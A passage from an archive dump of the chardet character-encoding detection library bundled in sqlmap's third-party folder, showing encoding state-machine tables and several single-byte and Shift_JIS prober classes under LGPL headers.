eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe, # eItsMe eError,eError,eStart,eStart,eError,eError,eError,eStart,eStart,eStart, # 3 eError,eError,eStart,eStart,eStart,eStart,eStart,eStart,eStart,eStart, # 4 eError,eStart,eStart,eStart,eStart,eStart,eStart,eStart,eStart,eStart, # 5 eError,eStart,eStart,eStart,eStart,eError,eError,eStart,eStart,eStart, # 6 ) CP949CharLenTable = (0, 1, 2, 0, 1, 1, 2, 2, 0, 2) CP949SMModel = {'classTable': CP949_cls, 'classFactor': 10, 'stateTable': CP949_st, 'charLenTable': CP949CharLenTable, 'name': 'CP949'} # EUC-JP EUCJP_cls = ( 4,4,4,4,4,4,4,4, # 00 - 07 4,4,4,4,4,4,5,5, # 08 - 0f 4,4,4,4,4,4,4,4, # 10 - 17 4,4,4,5,4,4,4,4, # 18 - 1f 4,4,4,4,4,4,4,4, # 20 - 27 4,4,4,4,4,4,4,4, # 28 - 2f 4,4,4,4,4,4,4,4, # 30 - 37 4,4,4,4,4,4,4,4, # 38 - 3f 4,4,4,4,4,4,4,4, # 40 - 47 4,4,4,4,4,4,4,4, # 48 - 4f 4,4,4,4,4,4,4,4, # 50 - 57 4,4,4,4,4,4,4,4, # 58 - 5f 4,4,4,4,4,4,4,4, # 60 - 67 4,4,4,4,4,4,4,4, # 68 - 6f 4,4,4,4,4,4,4,4, # 70 - 77 4,4,4,4,4,4,4,4, # 78 - 7f 5,5,5,5,5,5,5,5, # 80 - 87 5,5,5,5,5,5,1,3, # 88 - 8f 5,5,5,5,5,5,5,5, # 90 - 97 5,5,5,5,5,5,5,5, # 98 - 9f 5,2,2,2,2,2,2,2, # a0 - a7 2,2,2,2,2,2,2,2, # a8 - af 2,2,2,2,2,2,2,2, # b0 - b7 2,2,2,2,2,2,2,2, # b8 - bf 2,2,2,2,2,2,2,2, # c0 - c7 2,2,2,2,2,2,2,2, # c8 - cf 2,2,2,2,2,2,2,2, # d0 - d7 2,2,2,2,2,2,2,2, # d8 - df 0,0,0,0,0,0,0,0, # e0 - e7 0,0,0,0,0,0,0,0, # e8 - ef 0,0,0,0,0,0,0,0, # f0 - f7 0,0,0,0,0,0,0,5 # f8 - ff ) EUCJP_st = ( 3, 4, 3, 5,eStart,eError,eError,eError,#00-07 eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,#08-0f eItsMe,eItsMe,eStart,eError,eStart,eError,eError,eError,#10-17 eError,eError,eStart,eError,eError,eError, 3,eError,#18-1f 3,eError,eError,eError,eStart,eStart,eStart,eStart#20-27 ) EUCJPCharLenTable = (2, 2, 2, 3, 1, 0) EUCJPSMModel = {'classTable': EUCJP_cls, 'classFactor': 6, 'stateTable': EUCJP_st, 'charLenTable': EUCJPCharLenTable, 'name': 'EUC-JP'} # EUC-KR EUCKR_cls = ( 1,1,1,1,1,1,1,1, # 00 - 07 1,1,1,1,1,1,0,0, # 08 - 0f 1,1,1,1,1,1,1,1, # 10 - 17 1,1,1,0,1,1,1,1, # 18 - 1f 1,1,1,1,1,1,1,1, # 20 - 27 1,1,1,1,1,1,1,1, # 28 - 2f 1,1,1,1,1,1,1,1, # 30 - 37 1,1,1,1,1,1,1,1, # 38 - 3f 1,1,1,1,1,1,1,1, # 40 - 47 1,1,1,1,1,1,1,1, # 48 - 4f 1,1,1,1,1,1,1,1, # 50 - 57 1,1,1,1,1,1,1,1, # 58 - 5f 1,1,1,1,1,1,1,1, # 60 - 67 1,1,1,1,1,1,1,1, # 68 - 6f 1,1,1,1,1,1,1,1, # 70 - 77 1,1,1,1,1,1,1,1, # 78 - 7f 0,0,0,0,0,0,0,0, # 80 - 87 0,0,0,0,0,0,0,0, # 88 - 8f 0,0,0,0,0,0,0,0, # 90 - 97 0,0,0,0,0,0,0,0, # 98 - 9f 0,2,2,2,2,2,2,2, # a0 - a7 2,2,2,2,2,3,3,3, # a8 - af 2,2,2,2,2,2,2,2, # b0 - b7 2,2,2,2,2,2,2,2, # b8 - bf 2,2,2,2,2,2,2,2, # c0 - c7 2,3,2,2,2,2,2,2, # c8 - cf 2,2,2,2,2,2,2,2, # d0 - d7 2,2,2,2,2,2,2,2, # d8 - df 2,2,2,2,2,2,2,2, # e0 - e7 2,2,2,2,2,2,2,2, # e8 - ef 2,2,2,2,2,2,2,2, # f0 - f7 2,2,2,2,2,2,2,0 # f8 - ff ) EUCKR_st = ( eError,eStart, 3,eError,eError,eError,eError,eError,#00-07 eItsMe,eItsMe,eItsMe,eItsMe,eError,eError,eStart,eStart #08-0f ) EUCKRCharLenTable = (0, 1, 2, 0) EUCKRSMModel = {'classTable': EUCKR_cls, 'classFactor': 4, 'stateTable': EUCKR_st, 'charLenTable': EUCKRCharLenTable, 'name': 'EUC-KR'} # EUC-TW EUCTW_cls = ( 2,2,2,2,2,2,2,2, # 00 - 07 2,2,2,2,2,2,0,0, # 08 - 0f 2,2,2,2,2,2,2,2, # 10 - 17 2,2,2,0,2,2,2,2, # 18 - 1f 2,2,2,2,2,2,2,2, # 20 - 27 2,2,2,2,2,2,2,2, # 28 - 2f 2,2,2,2,2,2,2,2, # 30 - 37 2,2,2,2,2,2,2,2, # 38 - 3f 2,2,2,2,2,2,2,2, # 40 - 47 2,2,2,2,2,2,2,2, # 48 - 4f 2,2,2,2,2,2,2,2, # 50 - 57 2,2,2,2,2,2,2,2, # 58 - 5f 2,2,2,2,2,2,2,2, # 60 - 67 2,2,2,2,2,2,2,2, # 68 - 6f 2,2,2,2,2,2,2,2, # 70 - 77 2,2,2,2,2,2,2,2, # 78 - 7f 0,0,0,0,0,0,0,0, # 80 - 87 0,0,0,0,0,0,6,0, # 88 - 8f 0,0,0,0,0,0,0,0, # 90 - 97 0,0,0,0,0,0,0,0, # 98 - 9f 0,3,4,4,4,4,4,4, # a0 - a7 5,5,1,1,1,1,1,1, # a8 - af 1,1,1,1,1,1,1,1, # b0 - b7 1,1,1,1,1,1,1,1, # b8 - bf 1,1,3,1,3,3,3,3, # c0 - c7 3,3,3,3,3,3,3,3, # c8 - cf 3,3,3,3,3,3,3,3, # d0 - d7 3,3,3,3,3,3,3,3, # d8 - df 3,3,3,3,3,3,3,3, # e0 - e7 3,3,3,3,3,3,3,3, # e8 - ef 3,3,3,3,3,3,3,3, # f0 - f7 3,3,3,3,3,3,3,0 # f8 - ff ) EUCTW_st = ( eError,eError,eStart, 3, 3, 3, 4,eError,#00-07 eError,eError,eError,eError,eError,eError,eItsMe,eItsMe,#08-0f eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eError,eStart,eError,#10-17 eStart,eStart,eStart,eError,eError,eError,eError,eError,#18-1f 5,eError,eError,eError,eStart,eError,eStart,eStart,#20-27 eStart,eError,eStart,eStart,eStart,eStart,eStart,eStart #28-2f ) EUCTWCharLenTable = (0, 0, 1, 2, 2, 2, 3) EUCTWSMModel = {'classTable': EUCTW_cls, 'classFactor': 7, 'stateTable': EUCTW_st, 'charLenTable': EUCTWCharLenTable, 'name': 'x-euc-tw'} # GB2312 GB2312_cls = ( 1,1,1,1,1,1,1,1, # 00 - 07 1,1,1,1,1,1,0,0, # 08 - 0f 1,1,1,1,1,1,1,1, # 10 - 17 1,1,1,0,1,1,1,1, # 18 - 1f 1,1,1,1,1,1,1,1, # 20 - 27 1,1,1,1,1,1,1,1, # 28 - 2f 3,3,3,3,3,3,3,3, # 30 - 37 3,3,1,1,1,1,1,1, # 38 - 3f 2,2,2,2,2,2,2,2, # 40 - 47 2,2,2,2,2,2,2,2, # 48 - 4f 2,2,2,2,2,2,2,2, # 50 - 57 2,2,2,2,2,2,2,2, # 58 - 5f 2,2,2,2,2,2,2,2, # 60 - 67 2,2,2,2,2,2,2,2, # 68 - 6f 2,2,2,2,2,2,2,2, # 70 - 77 2,2,2,2,2,2,2,4, # 78 - 7f 5,6,6,6,6,6,6,6, # 80 - 87 6,6,6,6,6,6,6,6, # 88 - 8f 6,6,6,6,6,6,6,6, # 90 - 97 6,6,6,6,6,6,6,6, # 98 - 9f 6,6,6,6,6,6,6,6, # a0 - a7 6,6,6,6,6,6,6,6, # a8 - af 6,6,6,6,6,6,6,6, # b0 - b7 6,6,6,6,6,6,6,6, # b8 - bf 6,6,6,6,6,6,6,6, # c0 - c7 6,6,6,6,6,6,6,6, # c8 - cf 6,6,6,6,6,6,6,6, # d0 - d7 6,6,6,6,6,6,6,6, # d8 - df 6,6,6,6,6,6,6,6, # e0 - e7 6,6,6,6,6,6,6,6, # e8 - ef 6,6,6,6,6,6,6,6, # f0 - f7 6,6,6,6,6,6,6,0 # f8 - ff ) GB2312_st = ( eError,eStart,eStart,eStart,eStart,eStart, 3,eError,#00-07 eError,eError,eError,eError,eError,eError,eItsMe,eItsMe,#08-0f eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eError,eError,eStart,#10-17 4,eError,eStart,eStart,eError,eError,eError,eError,#18-1f eError,eError, 5,eError,eError,eError,eItsMe,eError,#20-27 eError,eError,eStart,eStart,eStart,eStart,eStart,eStart #28-2f ) # To be accurate, the length of class 6 can be either 2 or 4. # But it is not necessary to discriminate between the two since # it is used for frequency analysis only, and we are validing # each code range there as well. So it is safe to set it to be # 2 here. GB2312CharLenTable = (0, 1, 1, 1, 1, 1, 2) GB2312SMModel = {'classTable': GB2312_cls, 'classFactor': 7, 'stateTable': GB2312_st, 'charLenTable': GB2312CharLenTable, 'name': 'GB2312'} # Shift_JIS SJIS_cls = ( 1,1,1,1,1,1,1,1, # 00 - 07 1,1,1,1,1,1,0,0, # 08 - 0f 1,1,1,1,1,1,1,1, # 10 - 17 1,1,1,0,1,1,1,1, # 18 - 1f 1,1,1,1,1,1,1,1, # 20 - 27 1,1,1,1,1,1,1,1, # 28 - 2f 1,1,1,1,1,1,1,1, # 30 - 37 1,1,1,1,1,1,1,1, # 38 - 3f 2,2,2,2,2,2,2,2, # 40 - 47 2,2,2,2,2,2,2,2, # 48 - 4f 2,2,2,2,2,2,2,2, # 50 - 57 2,2,2,2,2,2,2,2, # 58 - 5f 2,2,2,2,2,2,2,2, # 60 - 67 2,2,2,2,2,2,2,2, # 68 - 6f 2,2,2,2,2,2,2,2, # 70 - 77 2,2,2,2,2,2,2,1, # 78 - 7f 3,3,3,3,3,2,2,3, # 80 - 87 3,3,3,3,3,3,3,3, # 88 - 8f 3,3,3,3,3,3,3,3, # 90 - 97 3,3,3,3,3,3,3,3, # 98 - 9f #0xa0 is illegal in sjis encoding, but some pages does #contain such byte. We need to be more error forgiven. 2,2,2,2,2,2,2,2, # a0 - a7 2,2,2,2,2,2,2,2, # a8 - af 2,2,2,2,2,2,2,2, # b0 - b7 2,2,2,2,2,2,2,2, # b8 - bf 2,2,2,2,2,2,2,2, # c0 - c7 2,2,2,2,2,2,2,2, # c8 - cf 2,2,2,2,2,2,2,2, # d0 - d7 2,2,2,2,2,2,2,2, # d8 - df 3,3,3,3,3,3,3,3, # e0 - e7 3,3,3,3,3,4,4,4, # e8 - ef 3,3,3,3,3,3,3,3, # f0 - f7 3,3,3,3,3,0,0,0) # f8 - ff SJIS_st = ( eError,eStart,eStart, 3,eError,eError,eError,eError,#00-07 eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,#08-0f eItsMe,eItsMe,eError,eError,eStart,eStart,eStart,eStart #10-17 ) SJISCharLenTable = (0, 1, 1, 2, 0, 0) SJISSMModel = {'classTable': SJIS_cls, 'classFactor': 6, 'stateTable': SJIS_st, 'charLenTable': SJISCharLenTable, 'name': 'Shift_JIS'} # UCS2-BE UCS2BE_cls = ( 0,0,0,0,0,0,0,0, # 00 - 07 0,0,1,0,0,2,0,0, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 0,0,0,3,0,0,0,0, # 18 - 1f 0,0,0,0,0,0,0,0, # 20 - 27 0,3,3,3,3,3,0,0, # 28 - 2f 0,0,0,0,0,0,0,0, # 30 - 37 0,0,0,0,0,0,0,0, # 38 - 3f 0,0,0,0,0,0,0,0, # 40 - 47 0,0,0,0,0,0,0,0, # 48 - 4f 0,0,0,0,0,0,0,0, # 50 - 57 0,0,0,0,0,0,0,0, # 58 - 5f 0,0,0,0,0,0,0,0, # 60 - 67 0,0,0,0,0,0,0,0, # 68 - 6f 0,0,0,0,0,0,0,0, # 70 - 77 0,0,0,0,0,0,0,0, # 78 - 7f 0,0,0,0,0,0,0,0, # 80 - 87 0,0,0,0,0,0,0,0, # 88 - 8f 0,0,0,0,0,0,0,0, # 90 - 97 0,0,0,0,0,0,0,0, # 98 - 9f 0,0,0,0,0,0,0,0, # a0 - a7 0,0,0,0,0,0,0,0, # a8 - af 0,0,0,0,0,0,0,0, # b0 - b7 0,0,0,0,0,0,0,0, # b8 - bf 0,0,0,0,0,0,0,0, # c0 - c7 0,0,0,0,0,0,0,0, # c8 - cf 0,0,0,0,0,0,0,0, # d0 - d7 0,0,0,0,0,0,0,0, # d8 - df 0,0,0,0,0,0,0,0, # e0 - e7 0,0,0,0,0,0,0,0, # e8 - ef 0,0,0,0,0,0,0,0, # f0 - f7 0,0,0,0,0,0,4,5 # f8 - ff ) UCS2BE_st = ( 5, 7, 7,eError, 4, 3,eError,eError,#00-07 eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,#08-0f eItsMe,eItsMe, 6, 6, 6, 6,eError,eError,#10-17 6, 6, 6, 6, 6,eItsMe, 6, 6,#18-1f 6, 6, 6, 6, 5, 7, 7,eError,#20-27 5, 8, 6, 6,eError, 6, 6, 6,#28-2f 6, 6, 6, 6,eError,eError,eStart,eStart #30-37 ) UCS2BECharLenTable = (2, 2, 2, 0, 2, 2) UCS2BESMModel = {'classTable': UCS2BE_cls, 'classFactor': 6, 'stateTable': UCS2BE_st, 'charLenTable': UCS2BECharLenTable, 'name': 'UTF-16BE'} # UCS2-LE UCS2LE_cls = ( 0,0,0,0,0,0,0,0, # 00 - 07 0,0,1,0,0,2,0,0, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 0,0,0,3,0,0,0,0, # 18 - 1f 0,0,0,0,0,0,0,0, # 20 - 27 0,3,3,3,3,3,0,0, # 28 - 2f 0,0,0,0,0,0,0,0, # 30 - 37 0,0,0,0,0,0,0,0, # 38 - 3f 0,0,0,0,0,0,0,0, # 40 - 47 0,0,0,0,0,0,0,0, # 48 - 4f 0,0,0,0,0,0,0,0, # 50 - 57 0,0,0,0,0,0,0,0, # 58 - 5f 0,0,0,0,0,0,0,0, # 60 - 67 0,0,0,0,0,0,0,0, # 68 - 6f 0,0,0,0,0,0,0,0, # 70 - 77 0,0,0,0,0,0,0,0, # 78 - 7f 0,0,0,0,0,0,0,0, # 80 - 87 0,0,0,0,0,0,0,0, # 88 - 8f 0,0,0,0,0,0,0,0, # 90 - 97 0,0,0,0,0,0,0,0, # 98 - 9f 0,0,0,0,0,0,0,0, # a0 - a7 0,0,0,0,0,0,0,0, # a8 - af 0,0,0,0,0,0,0,0, # b0 - b7 0,0,0,0,0,0,0,0, # b8 - bf 0,0,0,0,0,0,0,0, # c0 - c7 0,0,0,0,0,0,0,0, # c8 - cf 0,0,0,0,0,0,0,0, # d0 - d7 0,0,0,0,0,0,0,0, # d8 - df 0,0,0,0,0,0,0,0, # e0 - e7 0,0,0,0,0,0,0,0, # e8 - ef 0,0,0,0,0,0,0,0, # f0 - f7 0,0,0,0,0,0,4,5 # f8 - ff ) UCS2LE_st = ( 6, 6, 7, 6, 4, 3,eError,eError,#00-07 eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,#08-0f eItsMe,eItsMe, 5, 5, 5,eError,eItsMe,eError,#10-17 5, 5, 5,eError, 5,eError, 6, 6,#18-1f 7, 6, 8, 8, 5, 5, 5,eError,#20-27 5, 5, 5,eError,eError,eError, 5, 5,#28-2f 5, 5, 5,eError, 5,eError,eStart,eStart #30-37 ) UCS2LECharLenTable = (2, 2, 2, 2, 2, 2) UCS2LESMModel = {'classTable': UCS2LE_cls, 'classFactor': 6, 'stateTable': UCS2LE_st, 'charLenTable': UCS2LECharLenTable, 'name': 'UTF-16LE'} # UTF-8 UTF8_cls = ( 1,1,1,1,1,1,1,1, # 00 - 07 #allow 0x00 as a legal value 1,1,1,1,1,1,0,0, # 08 - 0f 1,1,1,1,1,1,1,1, # 10 - 17 1,1,1,0,1,1,1,1, # 18 - 1f 1,1,1,1,1,1,1,1, # 20 - 27 1,1,1,1,1,1,1,1, # 28 - 2f 1,1,1,1,1,1,1,1, # 30 - 37 1,1,1,1,1,1,1,1, # 38 - 3f 1,1,1,1,1,1,1,1, # 40 - 47 1,1,1,1,1,1,1,1, # 48 - 4f 1,1,1,1,1,1,1,1, # 50 - 57 1,1,1,1,1,1,1,1, # 58 - 5f 1,1,1,1,1,1,1,1, # 60 - 67 1,1,1,1,1,1,1,1, # 68 - 6f 1,1,1,1,1,1,1,1, # 70 - 77 1,1,1,1,1,1,1,1, # 78 - 7f 2,2,2,2,3,3,3,3, # 80 - 87 4,4,4,4,4,4,4,4, # 88 - 8f 4,4,4,4,4,4,4,4, # 90 - 97 4,4,4,4,4,4,4,4, # 98 - 9f 5,5,5,5,5,5,5,5, # a0 - a7 5,5,5,5,5,5,5,5, # a8 - af 5,5,5,5,5,5,5,5, # b0 - b7 5,5,5,5,5,5,5,5, # b8 - bf 0,0,6,6,6,6,6,6, # c0 - c7 6,6,6,6,6,6,6,6, # c8 - cf 6,6,6,6,6,6,6,6, # d0 - d7 6,6,6,6,6,6,6,6, # d8 - df 7,8,8,8,8,8,8,8, # e0 - e7 8,8,8,8,8,9,8,8, # e8 - ef 10,11,11,11,11,11,11,11, # f0 - f7 12,13,13,13,14,15,0,0 # f8 - ff ) UTF8_st = ( eError,eStart,eError,eError,eError,eError, 12, 10,#00-07 9, 11, 8, 7, 6, 5, 4, 3,#08-0f eError,eError,eError,eError,eError,eError,eError,eError,#10-17 eError,eError,eError,eError,eError,eError,eError,eError,#18-1f eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,#20-27 eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,#28-2f eError,eError, 5, 5, 5, 5,eError,eError,#30-37 eError,eError,eError,eError,eError,eError,eError,eError,#38-3f eError,eError,eError, 5, 5, 5,eError,eError,#40-47 eError,eError,eError,eError,eError,eError,eError,eError,#48-4f eError,eError, 7, 7, 7, 7,eError,eError,#50-57 eError,eError,eError,eError,eError,eError,eError,eError,#58-5f eError,eError,eError,eError, 7, 7,eError,eError,#60-67 eError,eError,eError,eError,eError,eError,eError,eError,#68-6f eError,eError, 9, 9, 9, 9,eError,eError,#70-77 eError,eError,eError,eError,eError,eError,eError,eError,#78-7f eError,eError,eError,eError,eError, 9,eError,eError,#80-87 eError,eError,eError,eError,eError,eError,eError,eError,#88-8f eError,eError, 12, 12, 12, 12,eError,eError,#90-97 eError,eError,eError,eError,eError,eError,eError,eError,#98-9f eError,eError,eError,eError,eError, 12,eError,eError,#a0-a7 eError,eError,eError,eError,eError,eError,eError,eError,#a8-af eError,eError, 12, 12, 12,eError,eError,eError,#b0-b7 eError,eError,eError,eError,eError,eError,eError,eError,#b8-bf eError,eError,eStart,eStart,eStart,eStart,eError,eError,#c0-c7 eError,eError,eError,eError,eError,eError,eError,eError #c8-cf ) UTF8CharLenTable = (0, 1, 0, 0, 0, 0, 2, 3, 3, 3, 4, 4, 5, 5, 6, 6) UTF8SMModel = {'classTable': UTF8_cls, 'classFactor': 16, 'stateTable': UTF8_st, 'charLenTable': UTF8CharLenTable, 'name': 'UTF-8'} sqlmap-1.2.4/thirdparty/chardet/sbcharsetprober.py000066400000000000000000000112711326012263700223650ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### import sys from . import constants from .charsetprober import CharSetProber from .compat import wrap_ord SAMPLE_SIZE = 64 SB_ENOUGH_REL_THRESHOLD = 1024 POSITIVE_SHORTCUT_THRESHOLD = 0.95 NEGATIVE_SHORTCUT_THRESHOLD = 0.05 SYMBOL_CAT_ORDER = 250 NUMBER_OF_SEQ_CAT = 4 POSITIVE_CAT = NUMBER_OF_SEQ_CAT - 1 #NEGATIVE_CAT = 0 class SingleByteCharSetProber(CharSetProber): def __init__(self, model, reversed=False, nameProber=None): CharSetProber.__init__(self) self._mModel = model # TRUE if we need to reverse every pair in the model lookup self._mReversed = reversed # Optional auxiliary prober for name decision self._mNameProber = nameProber self.reset() def reset(self): CharSetProber.reset(self) # char order of last character self._mLastOrder = 255 self._mSeqCounters = [0] * NUMBER_OF_SEQ_CAT self._mTotalSeqs = 0 self._mTotalChar = 0 # characters that fall in our sampling range self._mFreqChar = 0 def get_charset_name(self): if self._mNameProber: return self._mNameProber.get_charset_name() else: return self._mModel['charsetName'] def feed(self, aBuf): if not self._mModel['keepEnglishLetter']: aBuf = self.filter_without_english_letters(aBuf) aLen = len(aBuf) if not aLen: return self.get_state() for c in aBuf: order = self._mModel['charToOrderMap'][wrap_ord(c)] if order < SYMBOL_CAT_ORDER: self._mTotalChar += 1 if order < SAMPLE_SIZE: self._mFreqChar += 1 if self._mLastOrder < SAMPLE_SIZE: self._mTotalSeqs += 1 if not self._mReversed: i = (self._mLastOrder * SAMPLE_SIZE) + order model = self._mModel['precedenceMatrix'][i] else: # reverse the order of the letters in the lookup i = (order * SAMPLE_SIZE) + self._mLastOrder model = self._mModel['precedenceMatrix'][i] self._mSeqCounters[model] += 1 self._mLastOrder = order if self.get_state() == constants.eDetecting: if self._mTotalSeqs > SB_ENOUGH_REL_THRESHOLD: cf = self.get_confidence() if cf > POSITIVE_SHORTCUT_THRESHOLD: if constants._debug: sys.stderr.write('%s confidence = %s, we have a' 'winner\n' % (self._mModel['charsetName'], cf)) self._mState = constants.eFoundIt elif cf < NEGATIVE_SHORTCUT_THRESHOLD: if constants._debug: sys.stderr.write('%s confidence = %s, below negative' 'shortcut threshhold %s\n' % (self._mModel['charsetName'], cf, NEGATIVE_SHORTCUT_THRESHOLD)) self._mState = constants.eNotMe return self.get_state() def get_confidence(self): r = 0.01 if self._mTotalSeqs > 0: r = ((1.0 * self._mSeqCounters[POSITIVE_CAT]) / self._mTotalSeqs / self._mModel['mTypicalPositiveRatio']) r = r * self._mFreqChar / self._mTotalChar if r >= 1.0: r = 0.99 return r sqlmap-1.2.4/thirdparty/chardet/sbcsgroupprober.py000066400000000000000000000063331326012263700224210ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .charsetgroupprober import CharSetGroupProber from .sbcharsetprober import SingleByteCharSetProber from .langcyrillicmodel import (Win1251CyrillicModel, Koi8rModel, Latin5CyrillicModel, MacCyrillicModel, Ibm866Model, Ibm855Model) from .langgreekmodel import Latin7GreekModel, Win1253GreekModel from .langbulgarianmodel import Latin5BulgarianModel, Win1251BulgarianModel from .langhungarianmodel import Latin2HungarianModel, Win1250HungarianModel from .langthaimodel import TIS620ThaiModel from .langhebrewmodel import Win1255HebrewModel from .hebrewprober import HebrewProber class SBCSGroupProber(CharSetGroupProber): def __init__(self): CharSetGroupProber.__init__(self) self._mProbers = [ SingleByteCharSetProber(Win1251CyrillicModel), SingleByteCharSetProber(Koi8rModel), SingleByteCharSetProber(Latin5CyrillicModel), SingleByteCharSetProber(MacCyrillicModel), SingleByteCharSetProber(Ibm866Model), SingleByteCharSetProber(Ibm855Model), SingleByteCharSetProber(Latin7GreekModel), SingleByteCharSetProber(Win1253GreekModel), SingleByteCharSetProber(Latin5BulgarianModel), SingleByteCharSetProber(Win1251BulgarianModel), SingleByteCharSetProber(Latin2HungarianModel), SingleByteCharSetProber(Win1250HungarianModel), SingleByteCharSetProber(TIS620ThaiModel), ] hebrewProber = HebrewProber() logicalHebrewProber = SingleByteCharSetProber(Win1255HebrewModel, False, hebrewProber) visualHebrewProber = SingleByteCharSetProber(Win1255HebrewModel, True, hebrewProber) hebrewProber.set_model_probers(logicalHebrewProber, visualHebrewProber) self._mProbers.extend([hebrewProber, logicalHebrewProber, visualHebrewProber]) self.reset() sqlmap-1.2.4/thirdparty/chardet/sjisprober.py000066400000000000000000000072651326012263700213670ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### import sys from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import SJISDistributionAnalysis from .jpcntx import SJISContextAnalysis from .mbcssm import SJISSMModel from . import constants class SJISProber(MultiByteCharSetProber): def __init__(self): MultiByteCharSetProber.__init__(self) self._mCodingSM = CodingStateMachine(SJISSMModel) self._mDistributionAnalyzer = SJISDistributionAnalysis() self._mContextAnalyzer = SJISContextAnalysis() self.reset() def reset(self): MultiByteCharSetProber.reset(self) self._mContextAnalyzer.reset() def get_charset_name(self): return self._mContextAnalyzer.get_charset_name() def feed(self, aBuf): aLen = len(aBuf) for i in xrange(0, aLen): codingState = self._mCodingSM.next_state(aBuf[i]) if codingState == constants.eError: if constants._debug: sys.stderr.write(self.get_charset_name() + ' prober hit error at byte ' + str(i) + '\n') self._mState = constants.eNotMe break elif codingState == constants.eItsMe: self._mState = constants.eFoundIt break elif codingState == constants.eStart: charLen = self._mCodingSM.get_current_charlen() if i == 0: self._mLastChar[1] = aBuf[0] self._mContextAnalyzer.feed(self._mLastChar[2 - charLen:], charLen) self._mDistributionAnalyzer.feed(self._mLastChar, charLen) else: self._mContextAnalyzer.feed(aBuf[i + 1 - charLen:i + 3 - charLen], charLen) self._mDistributionAnalyzer.feed(aBuf[i - 1:i + 1], charLen) self._mLastChar[0] = aBuf[aLen - 1] if self.get_state() == constants.eDetecting: if (self._mContextAnalyzer.got_enough_data() and (self.get_confidence() > constants.SHORTCUT_THRESHOLD)): self._mState = constants.eFoundIt return self.get_state() def get_confidence(self): contxtCf = self._mContextAnalyzer.get_confidence() distribCf = self._mDistributionAnalyzer.get_confidence() return max(contxtCf, distribCf) sqlmap-1.2.4/thirdparty/chardet/universaldetector.py000066400000000000000000000152701326012263700227420ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from . import constants import sys import codecs from .latin1prober import Latin1Prober # windows-1252 from .mbcsgroupprober import MBCSGroupProber # multi-byte character sets from .sbcsgroupprober import SBCSGroupProber # single-byte character sets from .escprober import EscCharSetProber # ISO-2122, etc. import re MINIMUM_THRESHOLD = 0.20 ePureAscii = 0 eEscAscii = 1 eHighbyte = 2 class UniversalDetector: def __init__(self): self._highBitDetector = re.compile(b'[\x80-\xFF]') self._escDetector = re.compile(b'(\033|~{)') self._mEscCharSetProber = None self._mCharSetProbers 